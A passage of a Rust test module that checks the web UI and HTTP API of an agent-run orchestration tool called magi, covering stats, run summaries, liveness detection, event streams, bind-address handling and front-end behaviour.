7918 let stats = f.get("/api/stats").await;
7919 assert_eq!(stats.status, 200);
7920 assert_eq!(stats.json()["totals"]["runs"], 0);
7921 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
7922 assert_eq!(stats.json()["runs_unreadable"], 0);
7923 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
7924 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
7925 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
7926 assert_eq!(stats.json()["repo"], Value::Null);
7927 }
7928
7929 #[tokio::test]
7930 async fn stats_lists_every_repository_with_runs_recorded() {
7931 let f = Fixture::start().await;
7932 write_run_repo(
7933 &f.runs(),
7934 "20260902-140501-a",
7935 RunStatus::Merged,
7936 "/repos/a",
7937 );
7938 write_run_repo(
7939 &f.runs(),
7940 "20260902-140502-b",
7941 RunStatus::Merged,
7942 "/repos/a",
7943 );
7944 write_run_repo(
7945 &f.runs(),
7946 "20260902-140503-c",
7947 RunStatus::Blocked,
7948 "/repos/b",
7949 );
7950
7951 let stats = f.get("/api/stats").await;
7952 assert_eq!(stats.status, 200);
7953 assert_eq!(stats.json()["totals"]["runs"], 3);
7955 assert_eq!(stats.json()["repo"], Value::Null);
7956
7957 let repos = stats.json()["repos"].clone();
7958 let repos = repos.as_array().unwrap();
7959 assert_eq!(repos.len(), 2);
7960 assert_eq!(repos[0]["repo"], "/repos/a");
7962 assert_eq!(repos[0]["name"], "a");
7963 assert_eq!(repos[0]["runs"], 2);
7964 assert_eq!(repos[1]["repo"], "/repos/b");
7965 assert_eq!(repos[1]["runs"], 1);
7966 }
7967
7968 #[tokio::test]
7969 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
7970 let f = Fixture::start().await;
7971 write_run_repo(
7972 &f.runs(),
7973 "20260902-140501-a",
7974 RunStatus::Merged,
7975 "/repos/a",
7976 );
7977 write_run_repo(
7978 &f.runs(),
7979 "20260902-140502-b",
7980 RunStatus::Blocked,
7981 "/repos/b",
7982 );
7983
7984 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
7985 assert_eq!(stats.status, 200);
7986 assert_eq!(stats.json()["totals"]["runs"], 1);
7987 assert_eq!(stats.json()["totals"]["merged"], 1);
7988 assert_eq!(stats.json()["repo"], "/repos/a");
7989 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
7992 assert_eq!(stats.json()["runs_unreadable"], 0);
7995 }
7996
7997 #[tokio::test]
7998 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
7999 let f = Fixture::start().await;
8000 write_run_repo(
8001 &f.runs(),
8002 "20260902-140501-a",
8003 RunStatus::Merged,
8004 "/repos/a",
8005 );
8006
8007 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
8008 assert_eq!(stats.status, 404);
8009 }
8010
8011 #[tokio::test]
8012 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
8013 let f = Fixture::start().await;
8014 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
8015
8016 let summary = f.get("/api/runs").await.json();
8017 let row = &summary[0];
8018 assert_eq!(row["short"], "a1b2");
8019 assert_eq!(row["status"], "ready");
8020 assert_eq!(row["done"], true);
8021 assert_eq!(row["title"], "Add a web UI");
8022 assert_eq!(row["repo_name"], "magi");
8023 assert_eq!(row["judges"], 3);
8024 assert_eq!(row["winner"], Value::Null);
8025 assert_eq!(row["reviews"], 0);
8026
8027 let detail = f.get("/api/runs/a1b2").await;
8030 assert_eq!(detail.status, 200);
8031 assert_eq!(detail.json()["base_branch"], "main");
8032 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
8033 }
8034
8035 #[tokio::test]
8043 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
8044 let f = Fixture::start().await;
8045
8046 let mut none_run = RunState::new(
8047 PathBuf::from("/repo/magi"),
8048 "main".to_owned(),
8049 "0123456789abcdef".to_owned(),
8050 "Add a web UI".to_owned(),
8051 Config::default(),
8052 );
8053 none_run.id = "20260902-140503-none".to_owned();
8054 none_run.status = RunStatus::Ready;
8055 none_run.merge = Some(crate::run::MergeOutcome {
8056 mode: crate::config::MergeMode::None,
8057 ok: true,
8058 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
8059 });
8060 write_state(&f.runs(), &none_run);
8061
8062 let mut pr_run = RunState::new(
8063 PathBuf::from("/repo/magi"),
8064 "main".to_owned(),
8065 "0123456789abcdef".to_owned(),
8066 "Add a web UI".to_owned(),
8067 Config::default(),
8068 );
8069 pr_run.id = "20260902-140504-prcl".to_owned();
8070 pr_run.status = RunStatus::Ready;
8071 pr_run.merge = Some(crate::run::MergeOutcome {
8072 mode: crate::config::MergeMode::Pr,
8073 ok: false,
8074 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
8075 });
8076 write_state(&f.runs(), &pr_run);
8077
8078 let summary = f.get("/api/runs").await.json();
8079 let rows: std::collections::HashMap<&str, &Value> = summary
8080 .as_array()
8081 .expect("an array")
8082 .iter()
8083 .map(|r| (r["id"].as_str().expect("an id"), r))
8084 .collect();
8085 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
8086 assert_eq!(
8087 rows[none_run.id.as_str()]["unmerged_by_design"],
8088 true,
8089 "a mode-none Ready must be flagged in the list"
8090 );
8091 assert_eq!(
8092 rows[pr_run.id.as_str()]["unmerged_by_design"],
8093 false,
8094 "a Ready reached by a closed pull request is a different case"
8095 );
8096
8097 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
8098 assert_eq!(none_detail["status"], "ready");
8099 assert_eq!(none_detail["unmerged_by_design"], true);
8100
8101 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
8102 assert_eq!(pr_detail["unmerged_by_design"], false);
8103 }
8104
8105 #[tokio::test]
8110 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
8111 let f = Fixture::start().await;
8112 let id = "20260902-140502-bbbb";
8116 let mut state = RunState::new(
8117 PathBuf::from("/repo/magi"),
8118 "main".to_owned(),
8119 "0123456789abcdef".to_owned(),
8120 "Add a web UI".to_owned(),
8121 Config::default(),
8122 );
8123 state.id = id.to_owned();
8124 state.status = RunStatus::Judging;
8125 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
8126 let dir = f.runs().join(id);
8127 std::fs::create_dir_all(&dir).expect("run dir");
8128 std::fs::write(
8129 dir.join("run.json"),
8130 serde_json::to_string_pretty(&state).expect("serialize run"),
8131 )
8132 .expect("write run.json");
8133
8134 let cold = f.get(&format!("/api/runs/{id}")).await.json();
8140 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
8141 assert_eq!(cold["live"], "unknown", "{cold}");
8142
8143 write_daemon(f.home.path(), Timestamp::now());
8146 let warm = f.get(&format!("/api/runs/{id}")).await.json();
8147 assert_eq!(warm["live"], "live", "{warm}");
8148 }
8149
8150 #[tokio::test]
8157 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
8158 let f = Fixture::start().await;
8159 let id = "20260922-090000-cccc";
8160 let mut state = RunState::new(
8161 PathBuf::from("/repo/magi"),
8162 "main".to_owned(),
8163 "0123456789abcdef".to_owned(),
8164 "Review only".to_owned(),
8165 Config::default(),
8166 );
8167 state.id = id.to_owned();
8168 state.status = RunStatus::Reviewing;
8169 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
8170 state.driver_pid = Some(std::process::id());
8176 state.driver_started_at = Some(
8177 crate::proc::process_started_at(std::process::id())
8178 .expect("this test process's own start time must be queryable"),
8179 );
8180 let dir = f.runs().join(id);
8181 std::fs::create_dir_all(&dir).expect("run dir");
8182 std::fs::write(
8183 dir.join("run.json"),
8184 serde_json::to_string_pretty(&state).expect("serialize run"),
8185 )
8186 .expect("write run.json");
8187
8188 let detail = f.get(&format!("/api/runs/{id}")).await.json();
8189 assert_eq!(detail["live"], "live", "{detail}");
8190 }
8191
8192 #[tokio::test]
8198 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
8199 let f = Fixture::start().await;
8200 let id = "20260922-090100-dddd";
8201 let mut state = RunState::new(
8202 PathBuf::from("/repo/magi"),
8203 "main".to_owned(),
8204 "0123456789abcdef".to_owned(),
8205 "Review only".to_owned(),
8206 Config::default(),
8207 );
8208 state.id = id.to_owned();
8209 state.status = RunStatus::Reviewing;
8210 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
8211 state.driver_pid = Some(std::process::id());
8216 state.driver_started_at = Some("not-this-processes-real-start-time".to_owned());
8217 let dir = f.runs().join(id);
8218 std::fs::create_dir_all(&dir).expect("run dir");
8219 std::fs::write(
8220 dir.join("run.json"),
8221 serde_json::to_string_pretty(&state).expect("serialize run"),
8222 )
8223 .expect("write run.json");
8224
8225 let detail = f.get(&format!("/api/runs/{id}")).await.json();
8226 assert_eq!(detail["live"], "dead", "{detail}");
8227 }
8228
8229 #[test]
8233 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
8234 let mk = |id: &str, pid: Option<u32>| {
8235 let mut s = RunState::new(
8236 PathBuf::from("/repo/magi"),
8237 "main".to_owned(),
8238 "0123456789abcdef".to_owned(),
8239 "Add a web UI".to_owned(),
8240 Config::default(),
8241 );
8242 s.id = id.to_owned();
8243 s.driver_pid = pid;
8244 s.driver_started_at = Some("t0".to_owned());
8245 s
8246 };
8247 let states = vec![
8248 mk("20260902-140502-aaaa", Some(77)),
8249 mk("20260902-140502-bbbb", Some(77)),
8250 mk("20260902-140502-cccc", Some(77)),
8251 mk("20260902-140502-dddd", None),
8252 ];
8253 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
8254 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
8255 let sup: HashMap<String, String> = [(
8256 "20260902-140502-aaaa".to_owned(),
8257 "20260902-140502-cccc".to_owned(),
8258 )]
8259 .into();
8260
8261 let status_calls = std::cell::Cell::new(0);
8262 let identity_calls = std::cell::Cell::new(0);
8263 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
8264 |_| {
8265 status_calls.set(status_calls.get() + 1);
8266 Some(true)
8267 },
8268 |_| {
8269 identity_calls.set(identity_calls.get() + 1);
8270 Some("t0".to_owned())
8271 },
8272 ));
8273 let rows = summarize(
8274 states,
8275 &open,
8276 &claimed,
8277 &sup,
8278 |p| probe.borrow_mut().status(p),
8279 |p| probe.borrow_mut().started_at(p),
8280 );
8281
8282 assert_eq!(status_calls.get(), 1, "one pid, one status query");
8283 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
8284 assert_eq!(rows.len(), 4);
8285 assert!(!rows[0].waiting && rows[1].waiting);
8286 assert_eq!(rows[0].live, crate::run::Liveness::Live);
8287 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
8288 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
8289 assert_eq!(rows[1].superseded_by, None);
8290 }
8291
8292 #[test]
8293 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
8294 let mut state = RunState::new(
8295 PathBuf::from("/repo/magi"),
8296 "main".to_owned(),
8297 "0123456789abcdef".to_owned(),
8298 "Review only".to_owned(),
8299 Config::default(),
8300 );
8301 state.id = "20260922-090200-dead".to_owned();
8302 state.status = RunStatus::Reviewing;
8303 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
8304 .expect("serialize list row");
8305 assert_eq!(row["status"], "reviewing");
8306 assert_eq!(row["live"], "dead", "{row}");
8307 assert!(!row["done"].as_bool().unwrap());
8308 }
8309
8310 #[tokio::test]
8311 async fn the_run_list_is_newest_first_and_honours_a_limit() {
8312 let f = Fixture::start().await;
8313 for id in [
8314 "20260902-140501-aaaa",
8315 "20260902-140502-bbbb",
8316 "20260902-140503-cccc",
8317 ] {
8318 write_run(&f.runs(), id, RunStatus::Merged);
8319 }
8320
8321 let all = f.get("/api/runs").await.json();
8322 let capped = f.get("/api/runs?limit=2").await.json();
8323
8324 assert_eq!(all[0]["id"], "20260902-140503-cccc");
8325 assert_eq!(all.as_array().map(Vec::len), Some(3));
8326 assert_eq!(capped.as_array().map(Vec::len), Some(2));
8327 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
8328 }
8329
8330 #[tokio::test]
8331 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
8332 let f = Fixture::start().await;
8333 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
8334
8335 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
8336
8337 assert_eq!(res.status, 200);
8338 assert!(
8339 res.headers
8340 .contains("content-type: text/plain; charset=utf-8"),
8341 "a browser must render it, not download it: {}",
8342 res.headers
8343 );
8344 assert!(
8348 res.body.contains("20260902-140501-a1b2"),
8349 "the report is about the run that was asked for: {}",
8350 res.body
8351 );
8352 }
8353
8354 #[tokio::test]
8355 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
8356 let f = Fixture::start().await;
8357
8358 let html = f.get("/").await;
8359 let css = f.get("/app.css").await;
8360 let js = f.get("/app.js").await;
8361
8362 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
8363 assert!(
8364 html.headers
8365 .contains("content-type: text/html; charset=utf-8")
8366 );
8367 assert!(css.headers.contains("content-type: text/css"));
8368 assert!(js.headers.contains("content-type: text/javascript"));
8369 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
8370 }
8371
8372 #[test]
8373 fn review_rounds_label_a_distinct_verified_head() {
8374 assert!(APP_JS.contains("round.verified_head"));
8375 assert!(APP_JS.contains("verified HEAD"));
8376 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
8377 }
8378
8379 #[test]
8380 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
8381 assert!(APP_JS.contains("blocked: { glyph:"));
8385 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
8386
8387 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
8391 assert!(
8392 APP_JS.contains(
8393 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
8394 ),
8395 "the note line must name what a blocked task is waiting on, not just that it is blocked"
8396 );
8397 assert!(APP_JS.contains("if (status === \"blocked\") {"));
8401
8402 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
8406 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
8407 assert!(
8408 APP_JS.contains("location.hash = \"#/questions\";"),
8409 "a question node must jump to the Questions screen, not pretend to be a task"
8410 );
8411
8412 assert!(APP_JS.contains("Resolved questions"));
8415 assert!(APP_JS.contains("r.answersList.append("));
8416 assert!(APP_CSS.contains(".task-answers"));
8417 }
8418
8419 #[test]
8420 fn a_task_notification_links_to_its_own_card_not_the_bare_backlog() {
8421 assert!(
8426 APP_JS.contains(
8427 "el(\"a\", { href: `#/queue/${encodeURIComponent(link.id)}`, text: `Task ${shortId(link.id)}` })"
8428 ),
8429 "a task notice's link must carry the task id into the hash, not just name the Backlog screen"
8430 );
8431 assert!(
8432 !APP_JS.contains("el(\"a\", { href: \"#/queue\", text: `Task ${shortId(link.id)}` })"),
8433 "regression: the task link must not go back to naming the bare Backlog route"
8434 );
8435
8436 assert!(
8439 APP_JS.contains(
8440 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
8441 ),
8442 "`#/queue/<id>` must parse into a route carrying that id"
8443 );
8444
8445 assert!(APP_JS.contains("state.queueFocus = route.id;"));
8449 assert!(APP_JS.contains("function consumeQueueFocus()"));
8450 assert!(APP_JS.contains("jumpToTask(id);"));
8451 }
8452
8453 #[test]
8454 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
8455 assert!(
8464 APP_JS.contains(
8465 " if (!id || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
8466 ),
8467 "the search-clearing branch must run before state.queueFocus is cleared, or the \
8468 recursive renderQueue() call has nothing left to jump to"
8469 );
8470 assert!(
8471 APP_JS.contains("state.queueFocus = null;\n jumpToTask(id);"),
8472 "state.queueFocus must be cleared immediately before the jump it guards, not earlier"
8473 );
8474 }
8475
8476 #[test]
8477 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
8478 assert!(
8486 APP_JS.contains(
8487 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
8488 ),
8489 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
8490 );
8491 }
8492
8493 #[test]
8494 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
8495 assert!(
8496 APP_JS.contains("round.verified_head !== round.head"),
8497 "a round that verified an earlier commit must be visibly distinct from one that \
8498 verified the head reviewers are looking at now"
8499 );
8500 assert!(
8501 APP_JS.contains("round.verified_at"),
8502 "when a check ran must be on the wire, not just which commit"
8503 );
8504 assert!(
8505 APP_JS.contains("resource_blocked"),
8506 "a command magi never got to run (shared build cache contention) must not render \
8507 the same as a command that ran and failed"
8508 );
8509 }
8510
8511 #[test]
8512 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
8513 assert!(
8521 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
8522 "every KPI tile built through statusTile() must route its click through \
8523 openRunsFiltered, the single place that sets the Runs filter"
8524 );
8525 for (label, status) in [
8526 ("Merged", "merged"),
8527 ("Ready", "ready"),
8528 ("Blocked", "blocked"),
8529 ("Stalled", "stalled"),
8530 ] {
8531 let call = format!("statusTile(\"{label}\", t.{status}, ");
8532 assert!(
8533 APP_JS.contains(&call),
8534 "expected the {label} KPI tile built via {call}..."
8535 );
8536 assert!(
8537 APP_JS.contains(&format!("status === \"{status}\"")),
8538 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
8539 compare a run against, not one invented only for the stats tile"
8540 );
8541 }
8542 assert!(
8543 APP_JS.contains("function openRunsFiltered(status)"),
8544 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
8545 );
8546 assert!(
8547 APP_JS.contains("if (status && String(run.status || \"\") !== status) return false;"),
8548 "matchesFilter must gate on the exact status a KPI tile named"
8549 );
8550 assert!(
8558 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
8559 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
8560 hashchange event that may never fire"
8561 );
8562 }
8563
8564 #[test]
8565 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
8566 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
8572 assert!(
8573 APP_JS.contains(
8574 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
8575 ),
8576 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
8577 guard for an incompatible tree section"
8578 );
8579 }
8580
8581 #[test]
8582 fn every_stats_queue_tile_names_a_real_queue_section() {
8583 assert!(
8589 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
8590 "every queue tile built through sectionTile() must route its click through \
8591 openQueueSectionFocus"
8592 );
8593 for key in ["upnext", "running", "done", "held", "blocked"] {
8594 assert!(
8595 APP_JS.contains(&format!("{{ key: \"{key}\",")),
8596 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
8597 );
8598 }
8599 for line in [
8603 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
8604 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
8605 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
8606 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
8607 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
8608 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
8609 ] {
8610 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
8611 }
8612 }
8613
8614 #[test]
8615 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
8616 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
8623 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
8624 assert!(APP_JS.contains("function revealQueueSection(details)"));
8625 assert!(
8626 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
8627 "renderQueue() must consume both focus channels on every pass"
8628 );
8629 assert!(
8630 APP_JS.contains(
8631 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
8632 ),
8633 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
8634 the recursive renderQueue() call has nothing left to reveal"
8635 );
8636 assert!(
8637 APP_JS.contains(
8638 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
8639 ),
8640 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
8641 );
8642 assert!(
8650 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
8651 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
8652 hashchange event that may never fire"
8653 );
8654 }
8655
8656 #[tokio::test]
8657 async fn the_change_stream_announces_the_current_revisions_on_connect() {
8658 let f = Fixture::start().await;
8659
8660 let mut socket = tokio::net::TcpStream::connect(f.addr)
8661 .await
8662 .expect("connect");
8663 socket
8664 .write_all(
8665 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
8666 )
8667 .await
8668 .expect("write request");
8669
8670 let mut seen = String::new();
8673 let mut buf = [0u8; 1024];
8674 while !seen.contains("event: change") {
8675 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
8676 .await
8677 .expect("the stream must speak within five seconds")
8678 .expect("read");
8679 assert!(read > 0, "the server closed the change stream: {seen}");
8680 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
8681 }
8682
8683 assert!(
8684 seen.to_lowercase()
8685 .contains("content-type: text/event-stream"),
8686 "the browser only reconnects automatically for a real SSE stream: {seen}"
8687 );
8688 let data = seen
8689 .lines()
8690 .find_map(|l| l.strip_prefix("data:"))
8691 .expect("a data line");
8692 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
8693 assert!(
8694 payload["queue_rev"].is_u64()
8695 && payload["runs_rev"].is_u64()
8696 && payload["questions_rev"].is_u64()
8697 && payload["talks_rev"].is_u64()
8698 && payload["notifications_rev"].is_u64()
8699 && payload["loop_rev"].is_u64(),
8700 "the client needs one revision per store to know what to refetch, \
8701 and `talks_rev` is the only notification a standing talk gets - a \
8702 phone whose radio slept through a turn learns about it here, as \
8703 does one whose operator started the loop from another device: \
8704 {payload}"
8705 );
8706
8707 let health = f.get("/api/health").await.json();
8714 for key in [
8715 "queue_rev",
8716 "runs_rev",
8717 "questions_rev",
8718 "talks_rev",
8719 "notifications_rev",
8720 "loop_rev",
8721 ] {
8722 assert!(
8723 health[key].is_u64(),
8724 "health is the change stream's fallback and is missing `{key}`: {health}"
8725 );
8726 }
8727 }
8728
8729 #[tokio::test]
8730 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
8731 let f = Fixture::start().await;
8732 let before = f.get("/api/health").await.json()["talks_rev"]
8733 .as_u64()
8734 .expect("talks_rev");
8735
8736 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
8737 std::thread::sleep(Duration::from_millis(10));
8738 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
8739 on_disk.turns.push(crate::talk::Turn {
8740 who: crate::talk::Who::Operator,
8741 body: "a new turn".to_owned(),
8742 at: Timestamp::now(),
8743 attachments: Vec::new(),
8744 });
8745 f.talks().put(&mut on_disk).expect("record a turn");
8746
8747 let after = f.get("/api/health").await.json()["talks_rev"]
8748 .as_u64()
8749 .expect("talks_rev");
8750 assert_ne!(
8751 before, after,
8752 "a phone must be able to notice a talk's reply without polling every store"
8753 );
8754 }
8755
8756 #[test]
8757 fn bind_reads_back_from_the_spelling_the_cli_prints() {
8758 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
8762 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
8763 }
8764 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
8765 assert!("everywhere".parse::<Bind>().is_err());
8766 }
8767
8768 #[test]
8769 fn an_explicit_bind_address_is_taken_verbatim() {
8770 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
8771
8772 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
8773
8774 assert_eq!(addr, asked);
8775 assert!(
8776 warning.is_none(),
8777 "an operator who named an address gets no lecture"
8778 );
8779 }
8780
8781 #[test]
8782 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
8783 let (addr, warning) = resolve_bind(&Bind::Auto);
8784
8785 match addr {
8792 IpAddr::V4(ip) if is_tailnet(&ip) => {
8793 assert!(warning.is_none(), "a tailnet address needs no warning");
8794 }
8795 other => {
8796 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
8797 let warning = warning.expect("a fallback has to explain itself");
8798 assert!(
8799 warning.contains("127.0.0.1") && warning.contains("local-only"),
8800 "the warning says what happened and what it costs: {warning}"
8801 );
8802 }
8803 }
8804 }
8805
8806 #[test]
8807 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
8808 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
8812 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
8813 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
8814 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
8815 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
8816 }
8817
8818 #[test]
8819 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
8820 let ids = vec![
8821 "20260902-140501-aaaa".to_owned(),
8822 "20260902-140502-aabb".to_owned(),
8823 ];
8824
8825 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
8826 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
8827 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
8828
8829 assert_eq!(missing.status, StatusCode::NOT_FOUND);
8830 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
8831 assert_eq!(short, "20260902-140502-aabb");
8832 }
8833 #[tokio::test]
8834 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
8835 let fx = Fixture::start().await;
8841 let id = panel(
8842 &fx,
8843 "<img src=\"shot.png\">",
8844 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
8845 );
8846
8847 let doc = fx
8849 .get(&format!("/api/questions/{id}/panel/index.html"))
8850 .await;
8851 assert_eq!(doc.status, 200, "{}", doc.body);
8852 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
8853
8854 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
8855 assert_eq!(sibling.status, 200, "{}", sibling.body);
8856 assert_eq!(sibling.header("content-type"), Some("image/png"));
8857 assert_eq!(
8858 sibling.header("content-security-policy"),
8859 Some(PANEL_CSP),
8860 "the sibling route must carry the same policy as the asset route"
8861 );
8862
8863 assert_eq!(
8866 fx.head(&format!("/api/questions/{id}/panel")).await.status,
8867 200
8868 );
8869 }
8870
8871 #[test]
8872 fn runs_revision_moves_when_deleting_an_older_run() {
8873 let temp = TempDir::new().expect("tempdir");
8874 let runs = temp.path().join("runs");
8875 std::fs::create_dir_all(&runs).expect("create runs dir");
8876
8877 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
8878
8879 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
8880 std::thread::sleep(Duration::from_millis(10));
8881 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
8882
8883 let rev_before = runs_revision(&runs);
8884 assert!(rev_before > 0);
8885
8886 let old_dir = runs.join("20260901-100000-old1");
8887 std::fs::remove_dir_all(&old_dir).expect("remove old run");
8888
8889 let rev_after = runs_revision(&runs);
8890 assert_ne!(
8891 rev_before, rev_after,
8892 "deleting an older run must change the revision so other clients see the deletion"
8893 );
8894 }
8895
8896 fn write_state(runs: &FsPath, state: &RunState) {
8901 let dir = runs.join(&state.id);
8902 std::fs::create_dir_all(&dir).expect("run dir");
8903 std::fs::write(
8904 dir.join("run.json"),
8905 serde_json::to_string_pretty(state).expect("serialize run"),
8906 )
8907 .expect("write run.json");
8908 }
8909
8910 #[test]
8915 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
8916 let temp = TempDir::new().expect("tempdir");
8917 let runs = temp.path().join("runs");
8918 std::fs::create_dir_all(&runs).expect("create runs dir");
8919 let mut state = RunState::new(
8920 PathBuf::from("/repo/magi"),
8921 "main".to_owned(),
8922 "0123456789abcdef".to_owned(),
8923 "task".to_owned(),
8924 Config::default(),
8925 );
8926 state.id = "20260902-100000-c0de".to_owned();
8927 write_state(&runs, &state);
8928
8929 let rev_idle = runs_revision(&runs);
8930 std::thread::sleep(Duration::from_millis(10));
8931 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
8932 write_state(&runs, &state);
8933 let rev_started = runs_revision(&runs);
8934 assert_ne!(
8935 rev_idle, rev_started,
8936 "a seat starting must move the revision"
8937 );
8938
8939 std::thread::sleep(Duration::from_millis(10));
8940 state.seat_finished("judge-1");
8941 write_state(&runs, &state);
8942 let rev_finished = runs_revision(&runs);
8943 assert_ne!(
